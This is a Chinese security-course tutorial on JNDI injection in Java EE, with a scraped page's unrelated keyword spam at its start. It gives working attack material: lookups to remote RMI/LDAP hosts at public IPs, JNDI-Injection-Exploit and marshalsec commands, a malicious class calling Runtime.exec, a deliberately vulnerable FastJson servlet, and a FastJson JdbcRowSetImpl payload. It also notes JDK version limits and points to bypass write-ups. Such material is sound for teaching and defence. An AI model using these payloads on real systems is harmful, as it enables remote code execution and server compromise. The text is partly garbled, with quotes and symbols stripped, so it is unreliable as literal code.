wordpress电子商务网站插件,智慧团建pc端,小程序代运营,郑州燚空间网络科技有限公司037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类 #知识点#xff1a; 1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例#xff1a; ➢JNDI注入-RMILDAP服务 ➢JNDI注…037-安全开发-JavaEE应用JNDI注入RMI服务LDAP服务JDK绕过调用链类 #知识点 1、JavaEE-JNDI注入-RMILDAP 2、JavaEE-漏洞结合-FastJson链 3、JavaEE-漏洞条件-JDK版本绕过 演示案例 ➢JNDI注入-RMILDAP服务 ➢JNDI注入-FastJson漏洞结合 ➢JNDI注入-JDK高版本注入绕过 思考明白 什么是jndi注入 为什么有jndi注入 JDNI注入安全问题 JDNI注入利用条件 参考https://blog.csdn.net/dupei/article/details/120534024
#JNDI注入-RMILDAP服务
JNDI全称为 Java Naming and DirectoryInterfaceJava命名和目录接口是一组应用程序接口为开发人员查找和访问各种资源提供了统一的通用接口可以用来定义用户、网络、机器、对象和服务等各种资源。JNDI支持的服务主要有DNS、LDAP、CORBA、RMI等。 RMI远程方法调用注册表 LDAP轻量级目录访问协议
调用检索 Java为了将Object对象存储在Naming或Directory服务下提供了Naming Reference功能对象可以通过绑定Reference存储在Naming或Directory服务下比如RMI、LDAP等。javax.naming.InitialContext.lookup() 在RMI服务中调用了InitialContext.lookup()的类有
org.springframework.transaction.jta.JtaTransactionManager.readObject()
**com.sun.rowset.JdbcRowSetImpl.execute()**
javax.management.remote.rmi.RMIConnector.connect()
org.hibernate.jmx.StatisticsService.setSessionFactoryJNDIName(String sfJNDIName)在LDAP服务中调用了InitialContext.lookup()的类有
InitialDirContext.lookup()
Spring LdapTemplate.lookup()
LdapTemplate.lookupContext()JNDI远程调用-JNDI-Injection
创建一个rmi ldap等服务调用 实例化对象
new InitialContext().lookup(rmi://47.243.50.47:1099/ptbddl);调用rmi ldap等服务对象类远程服务 ldap://47.94.236.117:1389/nx5qkh 远程地址的一个class文件被执行
new InitialContext().lookup(ldap://47.243.50.47:1389/ptbddl);基于工具自主定义节省下述2,4步骤 1、使用远程调用(默认端口1389) new InitialContext().lookup(“ldap://47.243.50.47:1389/ptbddl”); new InitialContext().lookup(“rmi://47.243.50.47:1099/ptbddl”);
package com.example.jndi;import javax.naming.InitialContext;
import javax.naming.NamingException;public class JndiDemo {public static void main(String[] args) throws NamingException {new InitialContext().lookup(rmi://47.243.50.47:1099/ptbddl);new InitialContext().lookup(ldap://47.243.50.47:1389/ptbddl);}
}2、使用利用工具生成调用地址 **java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A xx.xx.xx.xx** 遇到问题可以进行工具发送但无法访问到指向类进行报错JDK版本太高
原因JDK版本太高对远程访问进行拦截
解决方式更换低版本的JDK即可成功 遇到问题linux中运行JNDI-Injection报错Address already in use
原因之前运行的该程序占用了端口导致无法运行 解决方式 netstat -tulpn查询端口 kill 2320 停止端口 成功调用 遇到问题**JNDI-Injection-Exploit**不能进行正常的发送和接收
原因防火墙的原因
解决方式关闭虚拟机和本机的防火墙即可访问成功 JNDI远程调用-marshalsec
1、创建调用对象编译调用对象 javac Test.java
特别注意要保证java和javac的版本一致且都是1.8的低版本1.8.0_112
2、将生成的Class存放访问路径并检查是否可访问到
建一个简单的WEB页面又不想配置apache或者Nginx并把需要共享的目录或者文件都以HTTP的方式展示出来。Python自带http服务并且使用起来也非常简单。
python -m SimpleHTTPServer
服务启动默认端口为 8000 服务起来后
如果是本地或者内网环境打开浏览器 访问 localhost:8000 或者 127.0.0.1:8000
如果是云服务器则替换为对应的云服务器ip地址即可端口号不变 http://47.243.50.47:8000/
就可以访问初始web页面了 3、使用利用工具生成调用协议rmi,ldap
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://47.243.50.47/TestJndi 4、使用远程调用(默认端口1389)
new InitialContext().lookup(“ldap://xx.xx.xx.xx:1389/Test”); new InitialContext().lookup(“rmi://xx.xx.xx.xx:1099/Test”); JNDI-Injection marshalsec 实现原理 例RMI调用 bind将名称绑定到对象中 lookup通过名字检索执行的对象 Reference类表示对存在于命名/目录系统以外的对象的引用。 Reference参数 className远程加载时所使用的类名 classFactory加载的class中需要实例化类的名称 classFactoryLocation远程加载类的地址提供classes数据的地址可以是file/ftp/http等协议 Registry首先启动并监听一个端口一般是1099 Registry registry LocateRegistry.createRegistry(1099);在这里createRegistry(1099) 方法启动 RMI 注册表并监听在端口 1099 上。 Server向Registry注册远程对象 Reference reference new Reference(Calc, Calc, http://localhost/);
ReferenceWrapper wrapper new ReferenceWrapper(reference);
registry.bind(calc, wrapper);服务器创建一个 Reference 对象包含用于远程加载的类信息然后将该 Reference 对象包装成 ReferenceWrapper最后通过 registry.bind 注册到 RMI 注册表中使用名字 “calc”。 Client从Registry获取远程对象的代理 Object remoteObject context.lookup(rmi://47.94.236.117:1099/calc);客户端获取 RMI 注册表的上下文并通过 lookup 方法查找名为 “calc” 的远程对象返回其代理。 Client通过这个代理调用远程对象的方法 // 可以将返回的 remoteObject 转换为具体的远程接口类型然后调用远程方法
// 例如CalcInterface calc (CalcInterface) remoteObject;
// 远程方法调用示例
// 例如calc.performCalculation();客户端通过获得的代理对象调用远程对象的方法。 Server端的代理接收到Client端调用的方法参数Server端执行相对应的方法 在服务器端RMI 框架接收到客户端调用的方法、参数等信息并通过相应的远程对象执行对应的方法。 Server端的代理将执行结果返回给Client端代理 执行结果将通过 RMI 框架返回给客户端的代理对象使客户端能够获取到远程方法的执行结果。 import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.Reference;
import java.rmi.server.ReferenceWrapper;public class RMIServer {public static void main(String[] args) throws Exception {// 创建 RMI 注册表并监听在 1099 端口上Registry registry LocateRegistry.createRegistry(1099);**// 创建一个包含类信息的 Reference 对象// className: 远程加载时所使用的类名// classFactory: 加载的类中需要实例化的类的名称// classFactoryLocation: 远程加载类的地址提供 classes 数据的地址可以是 file/ftp/http 等协议Reference reference new Reference(Calc, Calc, http://localhost/);**// 使用 Reference 对象创建 ReferenceWrapper 对象ReferenceWrapper wrapper new ReferenceWrapper(reference);// 将包装后的 Reference 对象绑定到 RMI 注册表上使用名字 calcregistry.bind(calc, wrapper);}
}import java.lang.Runtime;public class Calc {public Calc() throws Exception{Runtime.getRuntime().exec(mstsc);}
}JNDI-Injection marshalsec 区别 LDAP - marshalsec工具 JDK 17 11版本 8u362 8U112 都可以 RMI marshalsec工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 LDAP - jndi-inject工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 RMI jndi-inject工具 JDK 17版本 无法调用 11版本无法调用 8u362 无法执行 8U112 可以 1.jndi - rmi ldap服务
2**.rmi ldap** 都可以进行远程调用对象 可以远程执行java代码class文件
3.攻击利用中就用到了jndi-inject项目和marshalsec
4.发现 jdk高版本会影响rmi和ldap的利用marshalsec针对ldap有高版本绕过 5. 利用要知道其他类也能调用jndi注入rmi,ldap #JNDI注入-FastJson漏洞结合
背景JavaEE中接受用户提交的JSON数据进行转换(FastJson反序列化漏洞) 思路利用InitialContext.lookup()中的进行JdbcRowSetImpl类JNDI服务注入 漏洞利用FastJson autotype处理Json对象的时候未对type字段进行完整的安全性验证攻击者可以传入危险类并调用危险类连接远程RMI主机通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞获取服务器敏感信息甚至可以利用此漏洞进一步的对服务器数据进行操作。
1、报错判断FastJson黑盒数据写错发现返回包是对应的fastjson包 2、创建对应的FastJson项目 // 导入必要的包
package com.example.fsjndidome;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;// 定义一个带有 /json 映射的 Servlet
WebServlet(/json)
public class Fsweb extends HelloServlet {// 重写 doPost 方法以处理 HTTP POST 请求Overrideprotected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {// 从名为 str 的请求参数中检索 JSON 数据String jsondata req.getParameter(str);// 将接收到的 JSON 数据打印到控制台System.out.println(jsondata);// 使用 fastjson 解析 JSON 数据为 JSONObjectJSONObject jsonObject JSON.parseObject(jsondata);// 打印解析后的 JSONObject 到控制台System.out.println(jsonObject);}
}body
h1% Hello World! %
/h1
br/
a hrefhello-servletHello Servlet/a
**form action/FSJNDIDome_war_exploded/json methodpostplease input json data:input typetext namestrbrinput typesubmit value提交**
/form
/body
/html3、生成远程调用方法
**java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C calc -A 192.168.200.130** 4、提交JSON数据Payload
{“type”:“com.sun.rowset.JdbcRowSetImpl”,“dataSourceName”:“ldap://192.168.200.130:1389/rbrx0t”,“autoCommit”:true} 总结 #JNDI注入-JDK高版本注入绕过
JDK 6u45、7u21之后 java.rmi.server.useCodebaseOnly的默认值被设置为true。当该值为true时 将禁用自动加载远程类文件仅从CLASSPATH和当前JVM的java.rmi.server.codebase指定路径加载类文件。 使用这个属性来防止客户端VM从其他Codebase地址上动态加载类增加了RMI ClassLoader的安全性。
JDK 6u141、7u131、8u121之后 增加了com.sun.jndi.rmi.object.trustURLCodebase选项默认为false禁止RMI和CORBA协议使用远程codebase的选项 因此RMI和CORBA在以上的JDK版本上已经无法触发该漏洞但依然可以通过指定URI为LDAP协议来进行JNDI注入攻击。
JDK 6u211、7u201、8u191之后 增加了com.sun.jndi.ldap.object.trustURLCodebase选项默认为false 禁止LDAP协议使用远程codebase的选项把LDAP协议的攻击途径也给禁了。
高版本绕过 https://www.mi1k7ea.com/2020/09/07/浅析高低版JDK下的JNDI注入及绕过/https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html